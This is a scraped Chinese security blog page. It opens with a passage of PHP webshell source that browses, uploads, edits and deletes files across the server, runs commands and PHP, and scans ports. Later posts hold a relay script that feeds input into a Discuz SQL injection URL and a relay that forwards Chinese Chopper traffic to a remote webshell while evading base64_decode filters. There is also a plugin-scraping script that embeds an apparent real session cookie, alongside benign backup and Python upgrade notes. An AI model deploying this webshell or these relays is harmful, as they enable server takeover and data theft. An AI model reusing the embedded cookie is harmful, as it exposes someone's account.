            $this->setpath($apath);
            $this->dump('亲,恭喜您,打包成功!');
        }
    }

    function up() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        $_SESSION['dirpath'] = str_replace('\\', '/', $this->setpath(dirname($path)));
        $this->dump();
    }

    //区分windows编码 windows gbk
    function view() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (is_dir($filename)) {
            $this->setpath($filename);
            $this->dump();
        }
        if (is_file($filename)) {
            ob_start();
            show_source($filename);
            $contents = ob_get_clean();
            echo sprintf('{"showfile":%s}', json_encode($this->mbstring($contents)));
        }
    }

    function upload() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        if (true == @file_put_contents($path . '/' . basename($_FILES['userfile']['name']), file_get_contents($_FILES['userfile']['tmp_name']))) {
            exit('
          <script>
          parent.$("#load").show();
          parent.$("#load").text("上传成功,刷新当前页面即可!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        } else {
            exit('<script>
          parent.$("#load").show();
          parent.$("#load").text("上传失败!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        }
    }

    protected function dump($msg = null) {
        if (is_ajax()) {
            $this->dump_ajax($msg);
        } else {
            $this->dump_html();
        }
    }

    //start
    function _scandir($path) {
        $path = $this->gbk_mbstring($path);
        $class = new DirectoryIterator($path);

        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring($path) . '/' . $this->mbstring($fileinfo->
                                        getFilename());
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->_scandir($path . '/' . $fileinfo->getFilename());
            }
        }
        if (!isset($files))
            $files = array();
        if (!isset($dirs))
            $dirs = array();
        $return = array_merge($dirs, $files);
        return $return;
    }

    function trimpath($path) {
        return str_replace('\\', '/', $path);
    }

    function tofile($item, $key) {
        $GLOBALS['addzips'][] = array('pathname' => $item, 'filename' => ltrim(str_replace
                            ($this->trimpath(dirname(__file__)), null, $item), '/'));
    }

    function addzip() {
        set_time_limit(0);
        $basename = md5(uniqid()) . '.zip';
        $zip = new ZipArchive;
        if (!is_file($basename))
            $res = $zip->open($basename, ZipArchive::CREATE);
        else
            $res = $zip->open($basename);
        if ($res === true) {
            foreach ($GLOBALS['addzips'] as $add) {
                if (basename($add['pathname']) == $basename)
                    continue;
                $zip->addFile($this->gbk_mbstring($add['pathname']), $this->gbk_mbstring($add['filename']));
            }
            $zip->close();
        } else {
            die('{"msg":"不能创建打包程序,可能是目录没有读写权限!"}');
        }
        return true;
    }

    //end
    function download($filename) {
        set_time_limit(0);
        $file = new SplFileObject($filename);
        header("Cache-Control: no-cache, must-revalidate");
        header("Pragma: no-cache");
        header("Content-Disposition: attachment; filename=" . $file->getbasename());
        header("Content-Length: " . $file->getsize());
        header("Content-Type: application/force-download");
        header('Content-Description: File Transfer');
        header('Content-Encoding: none');
        header("Content-Transfer-Encoding: binary");
        while (!$file->eof()) {
            echo $file->fgets();
        }
    }

    protected function dump_ajax($msg = null) {
        if ($msg) {
            echo sprintf("{\"html\":%s,\"msg\":\"%s\"}", $this->ajax(), $msg);
        } else {
            echo sprintf("{\"html\":%s}", $this->ajax());
        }
    }

    protected function dump_html() {
        $html = $this->html();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        echo str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
    }

    protected function is_utf8($str) {
        $c = 0;
        $b = 0;
        $bits = 0;
        $len = strlen($str);
        for ($i = 0; $i < $len; $i++) {
            $c = ord($str[$i]);
            if ($c > 128) {
                if (($c >= 254))
                    return false;
                elseif ($c >= 252)
                    $bits = 6;
                elseif ($c >= 248)
                    $bits = 5;
                elseif ($c >= 240)
                    $bits = 4;
                elseif ($c >= 224)
                    $bits = 3;
                elseif ($c >= 192)
                    $bits = 2;
                else
                    return false;
                if (($i + $bits) > $len)
                    return false;
                while ($bits > 1) {
                    $i++;
                    $b = ord($str[$i]);
                    if ($b < 128 || $b > 191)
                        return false;
                    $bits--;
                }
            }
        }
        return true;
    }

    protected function byte_format($size, $dec = 2) {
        $a = array(
            "B",
            "KB",
            "MB",
            "GB",
            "TB",
            "PB");
        $pos = 0;
        while ($size >= 1024) {
            $size /= 1024;
            $pos++;
        }
        return round($size, $dec) . "" . $a[$pos];
    }

    protected function html() {
        return str_replace(array(
            '{body}',
            '{load_css}',
            '{load_js}'), array(
            $this->body(),
            css(),
            js()), class_html());
    }

    protected function ajax() {
        $html = $this->body();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        $body = str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
        return json_encode($body);
    }

    protected function body() {

        return str_replace(array(
            '{host}',
            '{ip}',
            '{uname}',
            '{software}',
            '{php_version}',
            '{whoami}',
            '{current_dir}',
            '{space_total}',
            '{all_dir}',
            '{showfile}',
                ), array(
            $this->host(),
            $this->ip(),
            $this->uname(),
            $this->soft(),
            $this->php_version(),
            $this->whoami(),
            $this->current_dir(),
            $this->space_total(),
            $this->all_dir(),
            $this->showfile(),
                ), class_body());
    }

    protected function menu() {
        if (IS_WIN) {
            $restart = array(
                "重启系统",
                KING_SELF . "?action=restart",
                'action_del');
        } else {
            $restart = null;
            $unset = true;
        }
        $menus = array(
            array(
                "退出",
                KING_SELF . "?action=logout",
                null),
            array(
                "运行命令",
                'javascript:;;;',
                'run_command'),
            array(
                "端口扫描",
                'javascript:;;;',
                'click_port'),
            array(
                "运行php",
                'javascript:;;;',
                'run_php'),
            array(
                "php参数",
                KING_SELF . "?action=phpinfo",
                'action_del'),
            array(
                "phpinfo",
                KING_SELF . "?action=viewinfo",
                null),
            array(
                "mysql管理(需付费购买)",
                'javascript:;;;',
                'pay'),
            $restart,
        );
        if (isset($unset)) {
            array_pop($menus);
        }
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function action() {
        $menus = array(
            array(
                "网站目录",
                KING_SELF . "?action=view&file=" . $this->webroot(),
                'action_del'),
            array(
                "文件目录",
                KING_SELF . "?action=view&file=" . $this->scriptroot(),
                'action_del'),
            array(
                "上传文件",
                'javascript:;;;',
                'upload'),
            array(
                "新建文件",
                "javascript:;;;",
                '_newfile'),
            array(
                "新建文件夹",
                "javascript:;;;",
                '_newfolder'),
            array(
                "打包当前路径(php功能)",
                KING_SELF . "?action=packages",
                'action_del packages'),
            array(
                "打包当前路径(linux功能)",
                KING_SELF . "?action=linuxpkg",
                'action_del packages'),
            array(
                "刷新本页",
                KING_SELF . "?action=view&file=" . bin2hex($_SESSION['dirpath']),
                'action_del'),
        );
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function showfile($path = null) {
        $pathname = empty($path) ? $this->basedir() : pack('H*', $path);
        $filename = $this->scandir($pathname);
        if (isset($filename['dirs'])) {
            sort($filename['dirs']);
            foreach ($filename['dirs'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $dirs[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                        ), array(
                    KING_SELF,
                    bin2hex($basefile), //1
                    $value,
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    '无',
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a class="action_del" href="%s?action=rename&file=%s">重命名</a> | ',KING_SELF,bin2hex($basefile)).
                    sprintf('<a class="action_del" href="%s?action=rmdir&file=%s">删除</a>',KING_SELF,bin2hex($basefile)),
                        ), show_html());
            }
            unset($key, $value, $basefile);
        }
        if (isset($filename['files'])) {
            sort($filename['files']);
            foreach ($filename['files'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $color = ($key + 1) % 2 ? 'dd' : 'fff';
                $files[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                    '{.red}'), array(
                    KING_SELF,
                    bin2hex($basefile),
                    $value, //1
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    $this->byte_format($this->filesize($basefile)),
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a href="%s?action=down&file=%s">下载</a> | ', KING_SELF, bin2hex($basefile)) .
                    sprintf('<a class="action_del" href="%s?action=editfile&file=%s">编辑</a>',KING_SELF,bin2hex($basefile)). ' | <a href="">重命名</a> | ' . sprintf(' <a class="action_del" href="%s?action=del&file=%s">删除</a>', KING_SELF, bin2hex($basefile)),
                    ($value == KING_SELF) ? 'red' : null,
                        ), show_html());
            }
        }


        if (!isset($dirs))
            $dirs = array();
        if (!isset($files))
            $files = array();
        $arr = array_merge($dirs, $files);
        foreach ($arr as $k => $v) {
            $color = ($k + 1) % 2 ? 'fff' : 'dd';
            $res[] = str_replace(array('{color}'), array($color), $v);
        }
        return join(null, $res);
    }

    function webroot() {
        return bin2hex(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]));
    }

    function scriptroot() {
        return bin2hex(str_replace('\\', '/', dirname($_SERVER["SCRIPT_FILENAME"])));
    }

    protected function filemtime($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filemtime($path);
    }

    protected function fileperms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return fileperms($path);
    }

    protected function filesize($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filesize($path);
    }

    protected function perms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        $perms = fileperms($path);
        if (($perms & 0xC000) == 0xC000) {
            $info = 's';
        } elseif (($perms & 0xA000) == 0xA000) {
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            $info = 'p';
        } else {
            $info = '?????????';
            return $info;
        }
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
                        0x0800) ? 'S' : '-'));
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
                        0x0400) ? 'S' : '-'));
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
                        0x0200) ? 'T' : '-'));
        return $info;
    }

    protected function setpath($path) {
        $_SESSION['dirpath'] = $path;
        return $path;
    }

    protected function current_dir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        return $this->dirpath($path);
    }

    protected function basedir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : str_replace('\\', '/', dirname(__file__));
        $this->setpath($path);
        return $path;
    }

    protected function all_dir() {
        if (!IS_WIN) {
            return $this->scanlinux();
        } else {
            return $this->scanwindows();
        }
    }

    protected function scanlinux() {
        if (ini_get('open_basedir'))
            return;
        $pathname = '/';
        return $this->scandir($pathname, true);
    }

    protected function scanwindows() {
        $range = range('A', 'Z');
        foreach ($range as $dir) {
            if (is_dir(sprintf('%s:', $dir))) {
                $dirs[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex($dir . ':'), $dir);
            }
        }
        return join(' | ', $dirs);
    }

    protected function scandir($path, $dir = false) {
        if ($dir == true && !strpos(ini_get('disable_functions'), 'scandir')) {
            $class = scandir($path);
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo == '.' || $fileinfo == '..')
                    continue;
                if (is_dir($path . '/' . $fileinfo)) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo)), str_replace('\\', '/', $fileinfo));
                }
            }
            return join(' | ', $files);
        }
        //先采用scandir扫描
        if (!strpos(ini_get('disable_functions'), 'scandir')) {
            $root = scandir($path);
            foreach ($root as $key => $value) {
                if ($value == '.' || $value == '..')
                    continue;
                if (is_dir($path . '/' . $value)) {
                    $dirs[] = $this->mbstring(str_replace('\\', '/', $value));
                }
                if (is_file($path . '/' . $value)) {
                    $files[] = $this->mbstring(str_replace('\\', '/', $value));
                }
            }
            return array('dirs' => $dirs, 'files' => $files);
        }

        $class = new DirectoryIterator($path);
        if ($dir == true) {
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                    continue;
                if ($fileinfo->isDir()) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo->getFilename())), str_replace('\\', '/', $fileinfo->getFilename()));
                }
            }
            return join(' | ', $files);
        }
        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
        }
        return array('dirs' => $dirs, 'files' => $files);
    }

    protected function space_total() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : dirname(__file__);
        $dis = explode(',', ini_get('disable_functions'));
        if (in_array('disk_total_space', $dis)) {
            return '0B';
        }
        return $this->byte_format(disk_total_space($path));
    }

    //拆解当前路径
  

本地测试后发现功能,点评下,功能太尼玛简单咯

Linux VPS自动备份网站数据并发送到邮箱

发布时间:April 26, 2015 // 分类:工作日志,linux // No Comments

最近博客搬到VPS,由于VPS只装了LAMP,没有网站管理面板,备份数据比较麻烦,要用命令打包,再用ftp下载到本地。
于是琢磨着搞个自动化的程序备份数据,下面便是详细的实践步骤。

1、SSH登录到VPS,进入到/home/backup目录,新建文件backup.sh,粘贴如下代码并保存

#!/bin/bash
#你要修改的地方从这里开始
MYSQL_USER=数据库用户
MYSQL_PASS=数据库密码
MAIL_TO=发送邮箱
FTP_USER=FTP用户名
FTP_PASS=FTP密码
FTP_IP=FTP账户IP
FTP_backup=备份FTP的路径文件夹
WEB_DATA=/home/wwwroot  #本地备份路径
#你要修改的地方从这里结束

#定义数据库的名字和旧数据库的名字
DataBakName=Data_$(date +"%Y%m%d").tar.gz
WebBakName=Web_$(date +%Y%m%d).tar.gz
OldData=Data_$(date -d -5day +"%Y%m%d").tar.gz
OldWeb=Web_$(date -d -5day +"%Y%m%d").tar.gz
#删除本地3天前的数据
rm -rf /home/backup/Data_$(date -d -3day +"%Y%m%d").tar.gz /home/backup/Web_$(date -d -3day +"%Y%m%d").tar.gz
cd /home/backup
#导出数据库,一个数据库一个压缩文件
for db in `/usr/bin/mysql -u$MYSQL_USER -p$MYSQL_PASS -B -N -e 'SHOW DATABASES' | xargs`; do
    (/usr/bin/mysqldump -u$MYSQL_USER -p$MYSQL_PASS ${db} | gzip -9 - > ${db}.sql.gz)
done
#压缩数据库文件为一个文件
tar zcf /home/backup/$DataBakName /home/backup/*.sql.gz
rm -rf /home/backup/*.sql.gz
#发送数据库到Email,如果数据库压缩后太大,请注释这行
echo "主题:数据库备份" | mutt -a /home/backup/$DataBakName -s "内容:数据库备份" $MAIL_TO
#压缩网站数据
tar zcf /home/backup/$WebBakName $WEB_DATA
#上传到FTP空间,删除FTP空间5天前的数据
ftp -v -n $FTP_IP << END
user $FTP_USER $FTP_PASS
type binary
cd $FTP_backup
delete $OldData
delete $OldWeb
put $DataBakName
put $WebBakName
bye
END

2、安装mutt发邮件
仅仅以上命令还达不到我们的目的,得安装mutt才能发送邮件,在客户端中输入以下命令:

yum install -y mutt vixie-cron

测试以下上面的代码,在终端中输入./backup.sh,不出意外的话,你会收到备份的邮件。
如果提示“bin/bash: bad interpreter: No such file or directory”的错误信息,说明你的备份脚本文件不是UNIX格式,可以用dos2unix backup.sh将文件格式转换为UNIX格式,或者用touch新建backup.sh文件,再将内容粘贴到文件中。

3、添加到定时任务
在客户端中输入以下命令;

crontab -e
59 23 * * * /home/backup/backup.sh
每天的23:59分会自动执行/home/backup/backup.sh。

 

linux升级python

发布时间:April 26, 2015 // 分类:运维工作,工作日志,linux // No Comments

最近对一批闲置的服务器进行维护,期间使用到python脚本来批量进行操作,可是发现python版本过低。于是对python版本进行升级

1.下载Pyhon,选择下载Gzipped source tar ball (2.7.3) (sig)

wget http://python.org/ftp/python/2.7.3/Python-2.7.3.tar.bz2

2.解压安装,命令如下

tar -xvf Python-2.7.3.tar.bz2
cd Python-2.7.3
./configure --prefix=/usr/local/python2.7
make
make install
make clean
make distclean

3.创建链接来使系统默认python变为python2.7

ln -fs /usr/local/python2.7/bin/python2.7 /usr/bin/python

4.查看Python版本

python –V

5.修改yum配置(否则yum无法正常运行)

vi /usr/bin/yum

将第一行的

#!/usr/bin/python

修改为系统原有的python版本地址

#!/usr/bin/python2.6

PS:

1.在执行./configure时,出现报错信息configure: error: no acceptable C compiler found in $PATH

解决方法:    yum install gcc -y

2.在make的时候提示我

Failed to build these modules:
_sqlite3 

在网上查了一下解决办法:编辑源码下的connection.c这个文件

vi Python-2.7.3/Modules/_sqlite/connection.c

#include "cache.h"
#include "module.h"
#include "connection.h"
#include "statement.h"
#include "cursor.h"
#include "prepare_protocol.h"
#include "util.h"
#include "sqlitecompat.h"
#include "pythread.h"
#define ACTION_FINALIZE 1
#define ACTION_RESET 2
#if SQLITE_VERSION_NUMBER >= 3003008
#ifndef SQLITE_OMIT_LOAD_EXTENSION
#define HAVE_LOAD_EXTENSION
#endif
#endif

下面添加上

#ifdef SQLITE_INT64_TYPE
typedef SQLITE_INT64_TYPE sqlite_int64;
typedef unsigned SQLITE_INT64_TYPE sqlite_uint64;
#elif defined(_MSC_VER) || defined(__BORLANDC__)
typedef __int64 sqlite_int64;
typedef unsigned __int64 sqlite_uint64;
#else
typedef long long int sqlite_int64;
typedef unsigned long long int sqlite_uint64;
#endif
typedef sqlite_int64 sqlite3_int64;
typedef sqlite_uint64 sqlite3_uint64;

再次make,没有报错。

PHP中转访问脚本

发布时间:April 26, 2015 // 分类:PHP,linux,windows // No Comments

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
 
$url = "http://blog.discuz.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23"; //supsite 注入页面
 
echo $url;
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
 
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

将这个文件保存成inj.php即可,这个文件url如下:

http://localhost/inj/inj.php

把需要访问的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。

原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),只需要修改$url的内容就可以适应各种伪静态规则了。

脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。

我们现在访问 http://localhost/inj/inj.php?id=1,

即相当于访问 http://localhost/inj/index.php/index/index/id/1.html ,

呵呵,现在我们就可以通过访问 http://localhost/inj/inj.php?id=1 这个连接访问ado服务器的相关页面了。顺便淘到了一个POST的中转的

<?php 
$webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址 
$webshell=$webshell."?&1141056911=base64_decode"; 
 
$da=$_POST; 
$data = $da; 
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( 
 
//print_r($data); 
 
$data = http_build_query($data);   
$opts = array (   
'http' => array (   
'method' => 'POST',   
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .   
"Content-Length: " . strlen($data) . "\r\n",   
'content' => $data) 
); 
    
$context = stream_context_create($opts);   
$html = @file_get_contents($webshell, false, $context); //发送post   
echo $html;   
 
 
?>

 

python之bugscan爬虫

发布时间:April 26, 2015 // 分类:代码学习,linux,python,windows // No Comments

最近在bugscan上提交各种插件,发现了与很多大神之间的差距。但是自己想弄一些回来慢慢的学习。就萌生了想把全部的explotit全部拖回来看看。

首先我们来抓包看看

POST /rest HTTP/1.1
Host: www.bugscan.net
Connection: keep-alive
Content-Length: 45
Origin: https://www.bugscan.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: https://www.bugscan.net/
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
{"method":"GetPluginDetail","params":[579]}

可以看出来是通过json进行提交的

然后我们用这个数据包利用burp来重放一次

明显是可以看到成功提交的。然后各种精简到后来发现到这样也是可以提交的

POST /rest HTTP/1.1
Host: www.bugscan.net
Content-Type: application/json;charset=UTF-8
Referer: https://www.bugscan.net/
Cookie: xxxxxxxxxxxxxxxxxxxxxx
Content-Length: 45
 
{"method":"GetPluginDetail","params":[579]}

那么现在可以明确的肯定,我们需要提交的东西包括host url referer content-type cookie 以及 post提交的数据

首先因为要使用json,我们就加载json模块

我们使用urllib2这个组件来抓取网页。

urllib2是Python的一个获取URLs(Uniform Resource Locators)的组件。

它以urlopen函数的形式提供了一个非常简单的接口

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = ' #接收参数的地址 
headers = { 'Referer':' #模拟来路 
            'Content-Type': 'application/json;charset=UTF-8', #提交的方式
            'cookie':'xxxxxxxxxxxxxxxxx'  #自己的cookie
        }
data = {"method":"GetPluginDetail","params":[579]}
postdata = json.dumps(data)
 
req = urllib2.Request(url, postdata, headers)
response = urllib2.urlopen(req)
the_page = response.read()
print the_page

可以看到现在成功的获取到了这个内容.

然后逐个匹配,内容,文件名字等等

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = ' #接收参数的地址  
headers = { 'Referer':'https://www.bugscan.net/',#模拟来路
            'Content-Type': 'application/json;charset=UTF-8',#提交的方式
            'cookie':'xxxxxxxxxxxxxxxxxxxxxxxxxxx'#自己的cookie
        }
data = {"method":"GetPluginDetail","params":[579]}
postdata = json.dumps(data)
 
req = urllib2.Request(url, postdata, headers)
response = urllib2.urlopen(req)
html_page = response.read()
json_html = json.loads(html_page) #dedao得到原始的数据
source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
f = open('f:/bugscan/'+name,'w')
f.write(source)
f.close()

然后就是我们想要做的了..

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = 'https://www.bugscan.net/rest'
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'xxxxxxxxxxxxxxxxxxxxxxxxxxx'
        }
for i in range(1, 579+1): #因为到当前为止,只有579篇
    datas = {"method":"GetPluginDetail","params":[i]}
    postdata = json.dumps(datas)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    json_html = json.loads(html_page) #dedao得到原始的数据
    source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
    name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
    f = open('f:/bugscan/'+i+name,'w')#写入文件内
    f.write(source)
    f.close()

下一个修改的地方,因为用户Zero的是不能查看的,所以考虑获取用户的地方直接给他不写入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = 'https://www.bugscan.net/rest'
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'xxxxxxxxxxxxxxxxxxxxxx'
        }
for i in range(1, 579+1):
    datas = {"method":"GetPluginDetail","params":[i]}
    postdata = json.dumps(datas)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    if html_page.find('未登录或者是加密插件') == -1: #未登录或者是加密插件的基本不可看
        json_html = json.loads(html_page) #dedao得到原始的数据
        source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
        name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
        f = open('f:/bugscan/'+i+name,'w')
        f.write(source)
        f.close()
 

2015.8.15更新

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
  
import json   
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
  
url = 'https://www.bugscan.net/rest'
#自定义的http头
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'here is cookie which is yours'
        }

for i in range(39, 1341+1):
    #自带的提交方式
    data = {"method":"GetPluginDetail","params":[i]}
    #把提交得到的数据进行json解码
    postdata = json.dumps(data)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    json_html = json.loads(html_page)
    #如果匹配到sql:no rows in result set
    #表示这个是不可读取的
    if html_page.find("sql: no rows in result set") == -1: 
        #如果匹配到了source:的式样。则进行匹配
        if html_page.find('"source":') != -1: 
            #print i
            #抓取source的内容
            source = json_html['result']['plugin']['source']
            #抓取fname的内容,也就是提交的文件名
            name = json_html['result']['plugin']['fname']
            #考虑到有重复的出现,这里匹配了i
            f = open('bugscan/'+bytes(i)+'_'+name,'w')
            f.write(source)
            f.close()

 

2016/1/16 更新。因为之前的跳转全部给弄到了q.bugscan.net。所以单独对q.bugscan.net的进行爬行

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests,re

#自定义的http头
qian = re.compile(r'<pre><code>([\s\S]*?)</code></pre>')
headers = { 'Referer':'http://q.bugscan.net/',
            'UserAgent': 'Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19',
            'cookie':'cookie',}
url = 'http://q.bugscan.net/t/1945'
response = requests.get(url,headers=headers)
resu = qian.findall(response.content.replace('&#34;', '"'))
if (len(resu)>0) and ("def assign(service, arg):" in resu):
    content = resu[0].replace("&#39;", "'")
        print content

然后按照这个弄了一个多线程的

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
import requests,re
import time
import thread

def scan(i):
    print i
    qian = re.compile(r'<pre><code>([\s\S]*?)</code></pre>')
    headers = { 'Referer':'http://q.bugscan.net/',
            'UserAgent': 'Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19',
            'cookie':'CNZZDATA1256927980=200621908-1450077676-http%253A%252F%252Fq.bugscan.net%252F%7C1450106517; gsid=a8971c8ce53bc573809080eb34e7b03d88ed0dcfb733f1c48aceeeb1b6c8c574; _xsrf=2|1f20d955|cd1c41b6601fd0225ea5c8641af3028c|1451976836',}
    url = 'http://q.bugscan.net/t/'+str(i)
    response = requests.get(url,headers=headers)
    resu = qian.findall(response.content.replace('&#34;', '"'))
    if (len(resu)>0) and ("def assign(service, arg):" in resu):
        content = resu[0].replace("&#39;", "'")
        content = content.replace('&gt;','>')
        content = content.replace('&lt;','<')
        content = content.replace('&amp;','&')
        f = open('bugscan/'+bytes(i)+".py",'w')
        f.write(content)
        f.close()

def find_id():
    for i in range(1,2187+1):
        thread.start_new_thread(scan, (i,))
        time.sleep(3)

if __name__ == "__main__":
    find_id()

关于Tangscan的插件编写

发布时间:April 26, 2015 // 分类:代码学习,linux,python,windows // No Comments

看了Tangscan插件编写后,自己按照那个过程写一个poc的时候的一些笔记以及注释

#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
 
import re   #为了能够匹配网页内容, 我们需要import re
 
from thirdparty import requests
    #TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
from modules.exploit import TSExploit
    #编写TangScan POC不可缺少的一个类 TSExploit
 
 
__all__ = ['TangScan']
 
 
class TangScan(TSExploit):  #定义TangScan类, 并且继承于TSExploit
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "74cms plus/ajax_common.php sql 注入漏洞", # POC 的名称
